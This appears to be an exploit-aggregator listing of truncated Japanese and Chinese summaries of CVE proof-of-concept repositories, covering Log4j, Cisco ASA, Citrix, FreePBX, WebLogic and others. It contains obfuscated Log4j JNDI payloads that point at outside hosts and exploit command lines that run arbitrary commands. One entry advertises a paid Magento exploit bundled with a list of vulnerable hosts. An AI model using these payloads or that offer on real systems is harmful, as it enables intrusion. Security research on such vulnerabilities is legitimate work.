Cisco-ASA-CVE-2025-20333-Scanner

CVE-2025-20333 スキャナー Cisco ASA / FTD VPN Web Server Buffer Overflow CVE-2025-20333 のためのPythonベースの診断スキャナーです。 CVE-2025-20333 は、WebVPNファイルアップロードハンドラにおける重大なヒープベースのバッファオーバーフロー脆弱性であり、正常に悪用されると rootとしてのリモートコード実行（RCE） につながる可能性があります。 概要 このツールは、脆弱なエンドポイント（主にファイルアップロードハンドラ）が到達可能かどうかをチェックすることで、安全で破壊的でないテスト...

CVE-2018-16763

CVE-2018-16763 Fuel CMS 1.4.1 - 远程代码执行 - Python 3.x 原始脚本：Exploit-DB...

CVE-2019-19781

CVE-2019-19781 Citrix Netscaler リモートコード実行...

text4shell-cve-2022-42889

Text4Shell CVE-2022-42889 针对CVE-2022-42889的Docker实验环境 你可以选择在本地构建Docker镜像，或从Docker Hub拉取镜像并运行容器。 克隆仓库 root@kitploit: git clone https://github.com/devenes/text4shell-cve-2022-42889.git 在本地构建Docker镜像 root@kitploit: docker build --tag=text4shell . 运行Docker容器 root@kitploit: docker run -d --rm -p...

-Educational-PoC-CVE-2026-23520

CVE-2026-23520: Model Context Protocol MCP Connect RCE - 教育用PoC - Arcane 免責事項: このリポジトリおよび含まれるスクリプトは、教育および学術目的のみに厳密に使用されます。 ここで提供される情報は、セキュリティ研究者、システム管理者、学生が、管理された実験環境（Capture The Flagプラットフォームなど）におけるコマンドインジェクションの脆弱性と仮想ホストルーティングの仕組みを理解するのに役立つことを意図しています。...

c0ntextomy

c0ntextomy 引用元から切り離された文脈で提示され、本来の意味を歪める非形式的誤謬および誤った帰属の一種。 Wikipedia - コンテキストミー Contextomy デバッグセッションのハイジャック、リモートコード実行、機密データの流出を伴う脆弱性を示す概念実証。 アドバイザリ macOS/XcodeのMobileDevice.frameworkおよびiOS/iPadOS/tvOS向け開発ツールにおける設計上の欠陥により、サービス接続のセットアップで実際にSSLハンドシェイクが行われているにもかかわらず、ネットワーク上で平文通信が行われます。...

cve-2025-57819

🛡️ FreePBX Hunter - CVE-2025-57819 🛡️ FreePBXの重大な認証バイパス脆弱性を検出・検証するための強力なNucleiツールキットです。 📖 目次 クリックして展開 このプロジェクトについて 主な特徴 脆弱性の詳細 テンプレートの動作 Shodanで対象を探す 法的免責事項 作者への連絡 サポートをお願いします 📌 このプロジェクトについて このリポジトリは、FreePBXの認証バイパス脆弱性（CVE-2025-57819）に対処するための頼りになるツール集です。以下の2つの強力なNucleiテンプレートが含まれています： 🔍...

Log4J_0day_RCE

加入社区 Telegram CVE-2021-44228（Apache Log4j 远程代码执行） 受影响版本 你可以使用 JNDI-Injection-Exploit 进行利用。 绕过 rc1 例如： root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName 绕过 WAF root@kitploit: $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc $$::-jndi:rmi://asdasd.asdasd.asdasd/ass...

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 のエクスプロイトツールは、Python 3 で書かれており、URL/IP のリストに対応しています。このダウンロードには、shodan.io および個人のスキャンに基づく、潜在的に脆弱な 334,300 以上のホストのリストが含まれています。 このツールは悪用を防ぐため無料ではありません。現在パッチが適用されつつありますが、大多数のシステムはまだパッチされていません。 販売のため、限定4コピーを用意しました。詳細はこちら:https://satoshidisk.com/pay/CEtVaB 必要条件 sudo apt-g...

magnus_billing_7.3.0_RCE_CVE-2023-30258

magnusbilling7.3.0RCECVE-2023-30258 magnus billing 7.3.0には、icepay.phpリソースのパラメータ"democ"にリモートコード実行の脆弱性があります。この脆弱性により、クエリをエスケープして任意のコマンドを実行できます。 脆弱なコード root@kitploit: if isset$GET'democ' if strlen$GET'democ' 5 exec"touch " . $GET'democ' . '.txt'; else exec"rm -rf .txt";...

CVE-2025-48384

CVE-2025-48384: キャリッジリターンでgitを破壊し、クローンでRCE https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384 からの再現です。すべてのクレジットは David Leadbeater 氏に帰属します。 これは本脆弱性の基本的な再現試行です。 トリガーするには、脆弱性のあるgitバージョンで git clone --recursive https://github.com/acheong08/CVE-2025-48384 を実行すると、突然 /tmp/fishsucks ファイルが出現します。...

CVE-2024-41662

CVE-2024-41662 VNote バージョン 注: アプリケーションは、アプリ内で出力エンコーディングを実行することにより、一部のJavaScriptペイロードを適切に検証します。ただし、特定のケースでは検証に失敗します。 5. さらに、攻撃者は以下のペイロードを使用してリモートコード実行 を達成できます。 root@kitploit: 影響を受けるバージョンの詳細 =3.18.1 影響...

CVE-2024-1651-PoC

CVE-2024-1651 このCVEは、Fluid Attack Offensive TeamのCarlos Belloによって発見されました。この調査結果は、RCE（リモートコード実行）を取得するための安全でないオブジェクトのデシリアライゼーションに関するものです。ここでは、より高速で使いやすいPoC（概念実証）を作成しました。したがって、この調査結果を再現したい場合は、参考例としてこれを利用できます。 プレビュー...

CVE-2025-69516

CVE-2025-69516 - Tactical RMM リモートコード実行 このリポジトリには、Tactical RMM の CVE-2025-69516 SSTI 脆弱性を悪用する自動化 Python スクリプトが含まれています。バージョン 1.3.1 でテスト済みです。 使い方 root@kitploit: python xpl.py -d api.tactical.xyz -t SESSIONTOKEN -c "id" リンク https://vulners.com/cve/CVE-2025-69516...

CVE-2025-55182

CVE-2025-55182 ツールキット & ラボ 教育目的のみ 軽量な Go ツールキットと、CVE-2025-55182 を調査・トリアージするためのDocker化されたNext.jsラボです。教育および正規のテスト目的に限ります。 特徴 根本原因の解説、ビジュアル、ラボ: React2ShellDeconstructingaPerfect10RCE.pdf と攻撃経路図を参照してください 単一バイナリにサブコマンドを内蔵: checker:...

CVE-2018-2628

weblogic getshell 先輩方のスクリプトをベースに、Python 3 で動作するよう最適化しました。 主に Windows 向けです。 参考リンク https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.zh-cn.md https://github.com/0xMJ/CVE-2018-2628 weblogic getshell 脆弱性の有無をテスト python pocweblogic.py your-ip getshell の送信 "Weblogic GetShell...

CVE-2020-10673

脆弱性の説明 最近、亞信安全ネットワーク攻防ラボは jackson-databind がJNDIインジェクションのブラックリストクラスを1つ更新したことを追跡しました。プロジェクトパッケージにそのクラスのjarが存在し、JDKのバージョンがインジェクション可能なバージョンを満たしている場合、JNDIインジェクションを利用してリモートコード実行が可能です。そのクラスは com.caucho.config.types.ResourceRef です。 脆弱性番号： CVE-2020-10673 Jackson内部番号2660 影響範囲 jackson-databind = 2.10.3...

CVE-2020-14321

CVE-2020-14321 コース登録により、教師ロールからマネージャーロールへの権限昇格が可能になり、RCE に至る 誰かが Python スクリプトを必要とするかもしれないので、それを悪用するスクリプトを作成しました。 この PoC の使用方法: How to use this PoC script Case 1. If you have vaid credentials: python3 cve202014321.py -u http://test.local:8080 -u teacher -p 1234 -cmd=dir Case 2. If you have valid...

CVE-2025-44608

CVE-2025-44608 CloudClassroom-PHP Project v1.0 は、SQLインジェクションを介したリモートコード実行（RCE）に対して脆弱です。 ベンダー: https://github.com/mathurvishal/CloudClassroom-PHP-Project ソフトウェアリンク: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC ステップ1: 影響を受けるURLにアクセスし、?viewid=1...

CVE-2017-8464-EXP

CVE-2017-8464-EXP x86 と x64 をサポート テスト用のみ Lnk ファイルの出典: https://github.com/rapid7/metasploit-framework/pull/8767 ykoster に感謝 小さな変更: dll ファイルを置き換え、explorer.exe がクラッシュするバグを修正しました。ykoster がこのバグを修正済み POC: x86: x64: USB ドライブを特定できる場合は、LNK ファイル 1 つで十分です。例: 詳細:...